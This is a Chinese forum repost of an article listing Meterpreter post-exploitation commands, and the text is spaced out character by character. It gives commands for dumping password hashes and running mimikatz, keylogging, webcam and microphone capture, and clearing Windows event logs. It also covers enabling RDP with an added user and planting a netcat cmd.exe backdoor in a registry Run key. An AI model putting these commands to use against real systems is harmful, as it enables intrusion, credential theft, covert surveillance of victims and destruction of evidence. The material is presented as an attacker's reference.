搜索

[18197] 2020-11-12_干货meterpreter命令总结建议收藏

文档创建者：s7ckTeam
浏览次数：55
最后更新：2025-01-18
2020-11-12_干货meterpreter命令总结建议收藏 干 货 | m e t e r p r e t e r 命 令 总 结   建 议 收 藏 麻 薯   H A C K 之 道   2 0 2 0 - 1 1 - 1 2 前 言 前 言 M e t e r p r e t e r 是 M e t a s p l o i t 框 架 中 的 一 个 扩 展 模 块 ， 作 为 溢 出 成 功 以 后 的 攻 击 载 荷 使 用 ， 攻 击 载 荷 在 溢 出 攻 击 成 功 以 后 给 我 们 返 回 一 个 控 制 通 道 。 M e t e r p r e t e r 功 能 强 大 ， 支 持 信 息 收 集 、 提 权 、 注 册 表 操 作 、 哈 希 利 用 、 截 屏 录 屏 等 操 作 ， 也 支 持 对 摄 像 头 、 录 音 设 备 、 键 盘 鼠 标 的 控 制 。 常 用 命 令 常 用 命 令 s e s s i o n s   - i   进 入 会 话 s e s s i o n s   - k   杀 死 会 话 p w d                   查 看 当 前 目 录 g e t u i d             查 看 当 前 用 户 信 息 s y s i n f o           查 看 远 程 主 机 系 统 信 息 e x e c u t e           在 目 标 主 机 上 执 行 命 令 h a s h d u m p         获 取 目 标 主 机 用 户 密 码 h a s h 信 息 g e t s y s t e m       提 升 权 限 s h e l l               切 换 至 传 统 s h e l l b a c k g r o u n d     将 当 前 s e s s i o n 放 入 后 台 k i l l                 关 闭 进 程 l o a d                 加 载 m e t e r p r e t e r 扩 展 e x i t                 退 出 当 前 s h e l l a r p                   显 示 A R P 缓 存 g e t p r o x y         显 示 当 前 代 理 配 置 i f c o n f i g         显 示 接 口 i p c o n f i g         显 示 接 口 n e t s t a t           显 示 网 络 连 接 p o r t f w d           将 本 地 端 口 转 发 到 远 程 服 务 r o u t e               查 看 和 修 改 路 由 g e t e n v             查 看 环 境 变 量 g e t p r i v s         查 看 权 限 p g r e p               搜 索 进 程 p s                     查 看 当 前 运 行 进 程 r e b o o t             重 启 系 统 r e g                   修 改 注 册 表 c l e a r e v           清 除 w i n d o w s 中 的 应 用 程 序 日 志 、 系 统 日 志 、 安 全 日 志 文 件 系 统 命 令 文 件 系 统 命 令 c a t                       查 看 文 件 c d                         改 变 目 录 c h e c k s u m             校 验 文 件 m d 5 或 s h a 1 c p                         拷 贝 文 件 d o w n l o a d             下 载 文 件 e d i t                     编 辑 文 件
l s                         列 出 文 件 m k d i r                   创 建 文 件 夹 m v                         移 动 文 件 r m                         删 除 文 件 r m d i r                   删 除 文 件 夹 s e a r c h                 查 找 文 件 s h o w _ m o u n t         列 出 所 有 驱 动 器 u p l o a d                 上 传 文 件 用 户 设 备 命 令 用 户 设 备 命 令 e n u m d e s k t o p s       列 出 所 有 可 访 问 的 桌 面 和 窗 口 g e t d e s k t o p           获 取 当 前 桌 面 i d l e t i m e               获 取 远 程 系 统 已 运 行 时 间 （ 从 上 次 重 新 启 动 开 始 计 算 ） k e y b o a r d _ s e n d     发 送 击 键 k e y s c a n _ d u m p       转 储 击 键 缓 冲 区 k e y s c a n _ s t a r t     开 始 捕 获 击 键 k e y s c a n _ s t o p       停 止 捕 获 击 键 m o u s e                     发 送 鼠 标 事 件 s c r e e n s h a r e         实 时 观 看 远 程 用 户 的 桌 面 s c r e e n s h o t           截 屏 s e t d e s k t o p           更 改 s h e l l 当 前 桌 面 u i c t l                     控 制 用 户 界 面 组 件 r e c o r d _ m i c           记 录 麦 克 风 一 定 秒 数 w e b c a m _ c h a t         开 始 视 频 聊 天 w e b c a m _ l i s t         列 出 网 络 摄 像 头 w e b c a m _ s n a p         从 指 定 网 络 摄 像 头 拍 摄 w e b c a m _ s t r e a m     播 放 指 定 网 络 摄 像 头 的 视 频 流 p l a y                       在 目 标 系 统 播 放 音 频 m i m i k a t z 抓 取 密 码 抓 取 密 码 l o a d   m i m i k a t z       加 载 m i m i k a t z 模 块 h e l p   m i m i k a t z       查 看 帮 助 w d i g e s t                   获 取 密 码 开 启 远 程 桌 面 开 启 远 程 桌 面 r u n   v n c   使 用 v n c 连 接 远 程 桌 面 r u n   g e t g u i   - e   开 启 远 程 桌 面 r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p   开 启 远 程 桌 面
r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p   U S E R N A M E = t e s t   P A S S W O R D = 1 2 3 4 5 6   添 加 用 户 r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p   F O R W A R D = t r u e   L P O R T = 6 6 6 2       将 3 3 8 9 端 口 转 发 到 6 6 6 2 收 集 信 息 收 集 信 息 r u n   p o s t / w i n d o w s / g a t h e r / c h e c k v m   # 是 否 虚 拟 机 r u n   p o s t / l i n u x / g a t h e r / c h e c k v m   # 是 否 虚 拟 机 r u n   p o s t / w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s   # 查 看 分 区 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ a p p l i c a t i o n s   # 获 取 安 装 软 件 信 息 r u n   p o s t / w i n d o w s / g a t h e r / d u m p l i n k s       # 获 取 最 近 的 文 件 操 作 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ i e     # 获 取 I E 缓 存 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ c h r o m e       # 获 取 C h r o m e 缓 存 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s     # 补 丁 信 息 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ d o m a i n     # 查 找 域 控 针 对 未 安 装 补 丁 攻 击 针 对 未 安 装 补 丁 攻 击 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s     收 集 补 丁 信 息 攻 击 ： m s f   >   u s e   e x p l o i t / w i n d o w s / l o c a l / x x x x m s f   >   s e t   S E S S I O N   2 m s f   >   e x p l o i t 注 册 表 设 置 注 册 表 设 置 n c 后 门 后 门 u p l o a d   / u s r / s h a r e / w i n d o w s - b i n a r i e s / n c . e x e   C : w i n d o w s s y s t e m 3 2   # 上 传 n c r e g   e n u m k e y   - k   H K L M s o f t w a r e m i c r o s o f t w i n d o w s c u r r e n t v e r s i o n r u n       # 枚 举 r u n 下 的 k e y r e g   s e t v a l   - k   H K L M s o f t w a r e m i c r o s o f t w i n d o w s c u r r e n t v e r s i o n r u n   - v   l l t e s t _ n c   - d   ' C : w i n d o w s s y s t e m 3 2 n c . e x e   - L d p   4 4 3   - e   c m d . e x e '   # 设 置 键 值 r e g   q u e r y v a l   - k   H K L M s o f t w a r e m i c r o s o f t w i n d o w s c u r r e n t v e r s i o n R u n   - v   l l t e s t _ n c       # 查 看 键 值 n c   - v   1 9 2 . 1 6 8 . 1 5 9 . 1 4 4   4 4 3     # 攻 击 者 连 接 n c 后 门 参 考 资 料 m e t e r p r e t e r   h e l p 文 件 h t t p s : / / x z . a l i y u n . c o m / t / 2 5 3 6 文 章 作 者 : 麻 薯 原 始 链 接 : w w w . u u z d a i s u k i . c o m 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理